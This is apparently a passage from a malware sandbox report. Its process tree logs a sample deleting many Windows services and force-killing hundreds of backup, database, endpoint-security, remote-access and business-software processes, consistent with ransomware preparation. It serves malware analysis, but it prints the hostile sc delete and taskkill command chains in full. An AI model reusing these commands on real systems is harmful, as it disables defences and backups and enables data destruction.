MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UWS LoPriv Services"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftnlsv34⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftnlses34⤵
-
C:\Windows\SysWOW64\sc.exesc delete FxService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UtilDev Web Server Pro"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdwks4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdsrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client Guard"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE FileTranS"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete wwbizsrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete qemu-ga4⤵
-
C:\Windows\SysWOW64\sc.exesc delete AlibabaProtect4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete ZTEVdservice4⤵
-
C:\Windows\SysWOW64\sc.exesc delete kbasesrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MMRHookService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete IpOverUsbSvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MsDtsServer1004⤵
-
C:\Windows\SysWOW64\sc.exesc delete KuaiYunTools4⤵
-
C:\Windows\SysWOW64\sc.exesc delete KMSELDI4⤵
-
C:\Windows\SysWOW64\sc.exesc delete btPanel4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Protect_2345Explorer4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete 2345PicSvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-agent4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-server4⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-worker4⤵
-
C:\Windows\SysWOW64\sc.exesc delete QQCertificateService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleRemExecService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDaemon4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSUserSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDownSvr4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete GPSStorageSvr4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete GPSDataProcSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSGatewaySvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSMediaSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSLoginSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSTomcat64⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSMysqld4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSFtpd4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Zabbix Agent"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentAccelerator4⤵
-
C:\Windows\SysWOW64\sc.exesc delete bedbg4⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecDeviceMediaService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecRPCService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentBrowser4⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecJobEngine4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecManagementService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MDM4⤵
-
C:\Windows\SysWOW64\sc.exesc delete TxQBService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Gailun_Downloader4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete RemoteAssistService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete YunService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Serv-U4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EasyFZS Server"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Rpc Monitor"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete OpenFastAssist4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Nuo Update Monitor"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Daemon Service"4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSDS.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer_Service.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CasLicenceServer.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_w32.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_x64.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rdm.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRT.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExec.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Att.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mdm.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExecManagementService.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bengine.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM benetns.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beserver.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pvlsvr.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pg_ctl.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rcrelay.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SogouImeBroker.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CCenter.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ScanFrm.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM d_manage.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RsTray.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wampmanager.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ThunderPlatform.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iexplore.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent-daemon.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM eSightService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cygrunsrv.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wrapper.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM nginx.exe /F4⤵
-
